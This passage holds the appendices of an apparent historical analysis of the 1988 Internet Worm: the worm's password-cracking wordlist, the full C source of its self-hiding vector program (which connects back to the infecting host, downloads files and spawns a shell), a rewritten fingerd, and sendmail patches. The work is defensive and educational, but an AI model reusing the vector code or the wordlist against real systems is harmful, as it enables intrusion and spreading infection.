Postel, Jonathan B., ‘‘Simple Mail Transfer Protocol,’’ RFC 821, SRI Network Information Center, August 1982.

Reid87.
Reid, Brian, ‘‘Reflections on Some Recent Widespread Computer Breakins,’’ *COMMUNICATIONS OF THE ACM*, vol. 30, no. 2, pp. 103-105, ACM, February 1987.

Ritc79.
Ritchie, Dennis M., ‘‘On the Security of UNIX,’’ in *UNIX SUPPLEMENTARY DOCUMENTS*, AT & T, 1979.

Seel88.
Seeley, Donn, ‘‘A Tour of the Worm,’’ *PROCEEDINGS OF 1989 WINTER USENIX CONFERENCE*, Usenix Association, San Diego, CA, February 1989.

Shoc82.
Shoch, John F. and Jon A. Hupp, ‘‘The Worm Programs — Early Experience with a Distributed Computation,’’ *COMMUNICATIONS OF THE ACM*, vol. 25, no. 3, pp. 172-180, ACM, March 1982.

Appendix A — The Dictionary

What follows is the mini-dictionary of words contained in the worm. These were tried when attempting to break user passwords. Looking through this list is, in some sense revealing, but actually raises a significant question: how was this list chosen?

The assumption has been expressed by many people that this list represents words commonly used as passwords; this seems unlikely. Common choices for passwords usually include fantasy characters, but this list contains none of the likely choices (e.g., ‘‘hobbit,’’ ‘‘dwarf,’’ ‘‘gandalf,’’ ‘‘skywalker,’’ ‘‘conan’’). Names of relatives and friends are often used, and we see women’s names like ‘‘jessica,’’ ‘‘caroline,’’ and ‘‘edwina,’’ but no instance of the common names ‘‘jennifer’’ or ‘‘kathy.’’ Further, there are almost no common men’s names such as ‘‘thomas’’ or either of ‘‘stephen’’ or ‘‘steven’’ (or ‘‘eugene’’!). Additionally, none of these have the initial letters capitalized, although that is often how they are used in passwords.

Also of interest, there are no obscene words in this dictionary, yet many reports of concerted password cracking experiments have revealed that there are a significant number of users who use such words (or phrases) as passwords.

The list contains at least one incorrect spelling: ‘‘commrades’’ instead of ‘‘comrades’’; I also believe that ‘‘markus’’ is a misspelling of ‘‘marcus.’’ Some of the words do not appear in standard dictionaries and are non-English names: ‘‘jixian,’’ ‘‘vasant,’’ ‘‘puneet,’’ ‘‘umesh,’’ etc. There are also some unusual words in this list that I would not expect to be considered common: ‘‘anthropogenic,’’ ‘‘imbroglio,’’ ‘‘rochester,’’ ‘‘fungible,’’ ‘‘cerulean,’’ etc.

I imagine that this list was derived from some data gathering with a limited set of passwords, probably in some known (to the author) computing environment. That is, some dictionary-based or brute-force attack was used to crack a selection of a few hundred passwords taken from a small set of machines. Other approaches to gathering passwords could also have been used—Ethernet monitors, Trojan Horse login programs, etc. However they may have been cracked, the ones that were broken would then have been added to this dictionary.

Interestingly enough, many of these words are not in the standard on-line dictionary (in /usr/dict/words). As such, these words are useful as a supplement to the main dictionary-based attack the worm used as strategy #4, but I would suspect them to be of limited use before that time.

This unusual composition might be useful in the determination of the author(s) of this code. One approach would be to find a system with a user or local dictionary containing these words. Another would be to find some system(s) where a significant quantity of passwords could be broken with this list.

aaa	ama	arrow	barber	berliner	cantor
academia	amorphous	arthur	baritone	beryl	cardinal
aerobics	analog	athena	bass	beverly	carmen
airplane	anchor	atmosphere	bassoon	bicameral	carolina
albany	andromache	aztecs	batman	bob	caroline
albatross	animals	azure	beater	brenda	cascades
albert	answer	bacchus	beauty	brian	castle
alex	anthropogenic	bailey	beethoven	bridget	cat
alexander	anvils	banana	beloved	broadway	cayuga
algebra	anything	bananas	benz	bumbling	celtics
aliases	aria	bandit	beowulf	burgess	cerulean
alphabet	ariadne	banks	berkeley	campanile	change

charles
charming
charon
chester
cigar
classic
clusters
coffee
coke
collins
commrades
computer
condo
cookie
cooper
cornelius
couscous
creation
creosote
cretin
daemon
dancer
daniel
danny
dave
december
defoe
deluge
desperate
develop
dieter
digital
discovery
disney
dog
drought
duncan
eager
easier
edges
edinburgh
edwin
edwina
egghead
eiderdown
eileen
einstein
elephant
elizabeth
ellen
emerald
engine
engineer
enterprise
enzyme
ersatz
establish
estate
euclid
evelyn
extension
fairway
felicia
fender
fermat
fidelity
finite
fishers
flakes
float
flower
flowers
foolproof
football
foresight
format
forsythe
fourier
fred
friend
frighten
fun
fungible
gabriel
gardner
garfield
gauss
george
gertrude
ginger
glacier
gnu
golfer
gorgeous
gorges
gosling
gouge
graham
gryphon
guest
guitar
gumption
guntis
hacker
hamlet
handily
happening
harmony
harold
harvey
hebrides
heinlein
hello
help
herbert
hiawatha
hibernia
honey
horse
horus
hutchins
imbroglio
imperial
include
ingres
inna
innocuous
irishman
isis
japan
jessica
jester
jixian
johnny
joseph
joshua
judith
juggle
julia
kathleen
kermit
kernel
kirkland
knight
ladle
lambda
lamination
larkin
larry
lazarus
lebesgue
lee
leland
leroy
lewis
light
lisa
louis
lynne
macintosh
mack
maggot
magic
malcolm
mark
markus
marty
marvin
master
maurice
mellon
merlin
mets
michael
michelle
mike
minimum
minsky
moguls
moose
morley
mozart
nancy
napoleon
nepenthe
ness
network
newton
next
noxious
nutrition
nyquist
oceanography
ocelot
olivetti
olivia
oracle
orca
orwell
osiris
outlaw
oxford
pacific
painless
pakistan
pam
papers
password
patricia
penguin
peoria
percolate
persimmon
persona
pete
peter
philip
phoenix
pierre
pizza
plover
plymouth
polynomial
pondering
pork
poster
praise
precious
prelude
prince
princeton
protect
protozoa
pumpkin
puneet
puppet
rabbit
rachmaninoff
rainbow
raindrop
raleigh
random
rascal
really
rebecca
remote
rick
ripple
robotics
rochester
rolex
romano
ronald
rosebud
rosemary
roses
ruben
rules
ruth
sal
saxon
scamper
scheme
scott
scotty
secret
sensor
serenity
sharks
sharon
sheffield
sheldon
shiva
shivers
shuttle
signature
simon
simple
singer
single
smile
smiles
smooch
smother
snatch
snoopy
soap
socrates
sossina
sparrows
spit
spring
springer
squires
strangle
stratford
stuttgart
subway
success
summer

super
superstage
support
supported
surfer
suzanne
swearer
symmetry
tangerine
tape
target
tarragon
taylor
telephone
temptation
thailand
tiger
toggle
tomato
topography
tortoise
toyota
trails
trivial
trombone
tubas
tuttle
umesh
unhappy
unicorn
unknown
urchin
utility
vasant
vertigo
vicky
village
virginia
warren
water
weenie
whatnot
whiting
whitney
will
william
williamsburg
willie
winston
wisconsin
wizard
wombat
woodwind
wormwood
yacov
yang
yellowstone
yosemite
zap
zimmerman

Appendix B — The *Vector* Program

The worm was brought over to each machine it infected via the actions of a small program I call the *vector* program. Other individuals have been referring to this as the *grappling hook* program. Some people have referred to it as the *l1.c* program, since that is the suffix used on each copy.

The source for this program would be transferred to the victim machine using one of the methods discussed in the paper. It would then be compiled and invoked on the victim machine with three command line arguments: the canonical IP address of the infecting machine, the number of the TCP port to connect to on that machine to get copies of the main worm files, and a *magic number* that effectively acted as a one-time-challenge password. If the ‘‘server’’ worm on the remote host and port did not receive the same magic number back before starting the transfer, it would immediately disconnect from the vector program. This can only have been to prevent someone from attempting to ‘‘capture’’ the binary files by spoofing a worm ‘‘server.’’

This code also goes to some effort to hide itself, both by zeroing out the argument vector, and by immediately forking a copy of itself. If a failure occurred in transferring a file, the code deleted all files it had already transferred, then it exited.

One other key item to note in this code is that the vector was designed to be able to transfer up to 20 files; it was used with only three. This can only make one wonder if a more extensive version of the worm was planned for a later date, and if that version might have carried with it other command files, password data, or possibly local virus or trojan horse programs.

```
#include <stdio.h>
#include <sys /types.h>
#include <sys /socket.h>
#include <netinet /in.h>

main(argc, argv)                                        main
char *argv[];
{
        struct sockaddr_in sin;
        int s, i, magic, nfiles, j, len, n;
        FILE *fp;
        char files[20][128];
        char buf[2048], *p;

        unlink(argv[0]);
        if(argc != 4)
                exit(1);
        for(i = 0; i < 32; i++)
                close(i);
        i = fork();
        if(i < 0)
                exit(1);
        if(i > 0)
                exit(0);
```

```
bzero(&sin, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(argv[1]);
sin.sin_port = htons(atoi(argv[2]));
magic = htonl(atoi(argv[3]));

for(i = 0; i < argc; i++)
        for(j = 0; argv[i][j]; j++)
                argv[i][j] = '\0';

s = socket(AF_INET, SOCK_STREAM, 0);
if(connect(s, &sin, sizeof(sin)) < 0){
        perror("l1 connect");
        exit(1);
}
dup2(s, 1);
dup2(s, 2);

write(s, &magic, 4);

nfiles = 0;
while(1){
        if(xread(s, &len, 4) != 4)
                goto bad;
        len = ntohl(len);
        if(len == –1)
                break;

        if(xread(s, &(files[nfiles][0]), 128) != 128)
                goto bad;

        unlink(files[nfiles]);
        fp = fopen(files[nfiles], "w");
        if(fp == 0)
                goto bad;
        nfiles++;

        while(len > 0){
                n = sizeof(buf);
                if(n > len)
                        n = len;
                n = read(s, buf, n);
                if(n <= 0)
                        goto bad;
                if(fwrite(buf, 1, n, fp) != n)
                        goto bad;
                len –= n;
        }
        fclose(fp);
}
```

```
        execl("/bin/sh", "sh", 0);
bad:
        for(i = 0; i < nfiles; i++)
                unlink(files[i]);
        exit(1);
}

static
xread(fd, buf, n)                                                    xread
char *buf;
{
        int cc, n1;

        n1 = 0;
        while(n1 < n){
                cc = read(fd, buf, n - n1);
                if(cc <= 0)
                        return(cc);
                buf += cc;
                n1 += cc;
        }
        return(n1);
}
```

Appendix C — The Corrected *fingerd* Program

What follows is a version of the *fingerd* daemon program developed after the release of the Internet Worm. This version does not use the *gets* I/O call present in the original version that allowed the Worm to convert it into an interactive shell. This code is based on the Berkeley version of fingerd, but is basically a complete rewrite. There are no restrictions on its distribution, and there are no warranties, expressed or implied, on its operation or fitness.

```
/*
 *  A fixed version of fingerd.    This version does not use any "gets"
 *  calls that could be used to corrupt the program.
 *
 *  This is provided as is and you are free to use it at your own risk.
 */

#include <stdio.h>
#include <ctype.h>

#define LINELEN 1024
#define     ENTRIES   50

extern int          errno,
                    sys_nerr;
extern char         *sys_errlist[];


static void
oops (msg)                                                    oops
char                *msg;
{
    int                 s_errno = errno;

    fprintf (stderr, "fingerd: %s: ", msg);
    if (s_errno < sys_nerr)
        fprintf (stderr, "%s\n", sys_errlist[s_errno]);
    else
        fprintf (stderr, "errno = %d\n", s_errno);

    exit (1);
}

static char *
parse (line)                                                  parse
char                **line;
{
    register char   *next,
                    *search = *line;

    if (! search)
```

```
        return NULL;

    while (*search && isspace(*search))
        search++;

    if (! *search)
        return NULL;

    next = search+1;
    while (*next && !isspace(*next))
        next++;

    if (*next)
    {
        *next = ´\0´;
        *line = ++next;
    }
    else
        *line = NULL;

    return search;
}

static char         *av[ENTRIES + 1] = {"finger"};
static char          line[LINELEN];

int
main ()                                                    main
{
    FILE            *fp;
    register int    ix,
                    ch;
    int             child,
                    p[2];
    char            *ap,
                    *lp;


    if (!fgets (line, LINELEN, stdin))
        exit (1);

    for (lp = line, ix = 1; ix < ENTRIES; ix++)
    {
        if ((ap = parse (&lp)) == NULL)
            break;

     /* RFC742: "/[Ww]" == "–l" */
        if (ap[0] == ´/´ && (ap[1] == ´W´ || ap[1] == ´w´))
            ap = "–l";
```

```
            av[ix] = ap;
        }
        av[ix] = NULL;

    /* Call the "finger" program to do the work for us */
        if (pipe (p) < 0)
            oops ("pipe");

        child = fork ();
        if (child == 0)
        {
            (void) close (p[0]);
            if (p[1] != 1)
            {
                (void) dup2 (p[1], 1);
                (void) close (p[1]);
            }
            execv ("/usr/ucb/finger", av);
            _exit (1);
        }
        else if (child == –1)
            oops ("fork");

    /* else.... we´re the parent process */
        (void) close (p[1]);

        if (!(fp = fdopen (p[0], "r")))
            oops ("fdopen");

        while ((ch = getc (fp)) != EOF)
        {
            if ((char) ch == ´\n´)
                putchar (´\r´);
            putchar ((char) ch);
        }

        (void) wait (&child);
        return child;
}
```

Appendix D — Patches to Sendmail

Enclosed are the official patches to the *sendmail* mail delivery agent, as distributed by the Computer Systems Research Group at Berkeley. As noted in the paper, a new version of *sendmail* will shortly be available for anonymous FTP from site ucbarpa.berkeley.edu. It contains many additional bug fixes, including some that close different potential security flaws. If possible, that copy should be obtained and used in place of your current version.

Sendmail has to be either recompiled or patched to disallow the ‘‘debug’’ option. If you have source, recompile sendmail after first applying the following patch to the module srvrsmtp.c:

```
*** /tmp/d22039  Thu Nov  3 02:26:20 1988
--- srvrsmtp.c       Thu Nov  3 01:21:04 1988
***************
*** 85,92 ****
        "onex",             CMDONEX,
  # ifdef DEBUG
        "showq",    CMDDBGQSHOW,
-       "debug",    CMDDBGDEBUG,
  # endif DEBUG
  # ifdef WIZ
        "kill",         CMDDBGKILL,
  # endif WIZ
--- 85,94 ----
        "onex",             CMDONEX,
  # ifdef DEBUG
        "showq",    CMDDBGQSHOW,
  # endif DEBUG
+ # ifdef notdef
+       "debug",    CMDDBGDEBUG,
+ # endif notdef
  # ifdef WIZ
        "kill",         CMDDBGKILL,
  # endif WIZ
```

If you don’t have source, here’s a script to patch sendmail. **REMEMBER, ALWAYS SAVE AN EXTRA COPY IN CASE YOU MAKE A MISTAKE!!** Also, if *strings(1)* doesn’t find the string ‘‘debug’’ in your sendmail binary, you don’t have a problem; ignore this patch.

Note, your offsets as printed by *adb* may vary! Comments are preceded by a hash mark, don’t type them in, nor expect *adb* to print them out. Also, we’re using *strings(1)* to find the decimal offset in the file of certain strings. To find out if your *strings* command prints offsets in decimal, put 8 control (non-printable) characters in a file, followed by four printable characters, and then use *strings* to find the offset of your four printable characters. If the offset is ‘‘8’’, it’s using decimal, if it’s ‘‘10’’ it’s using octal.

```
        Script started on Thu Nov  3 18:45:34 1988
# find the decimal offset of the strings ‘‘debug’’ and ‘‘showq’’ in the
# sendmail binary.
        okeeffe:tmp {2} strings -o -a sendmail | egrep ’debug|showq’
        0097040 showq
        0097046 debug
        okeeffe:tmp {3} adb -w sendmail
# set the map, then set the default radix to base 10
        ?m 0 0xffffffff 0
        0t10$d
        radix=10 base ten
# check to make sure that strings(1) was right, and then find out what
# the byte pattern for ‘‘showq’’ is for your machine.  Note that adb
# prints out that byte pattern in HEX!
        97040?s
        97040:          showq
        97040?Xx
        97040:          73686f77    7100
# check on the string ‘‘debug’’, then, overwrite the first four bytes,
# move up 4 bytes, and then overwrite the last two bytes with the byte
# pattern seen above for ‘‘showq’’.
        97046?s
        97046:          debug
        97046?W 0x73686f77
        97046:          1684365941      =       1936224119
        .+4
        .?w 0x7100
        97050:          26368       =       28928
# check to make sure we wrote out the correct string.
        97046?s
        97046:          showq
        okeeffe:tmp {4} strings -o -a sendmail | egrep ’debug|showq’
        0097040 showq
        0097046 showq
        okeeffe:tmp {5}
        script done on Thu Nov  3 18:47:42 1988
```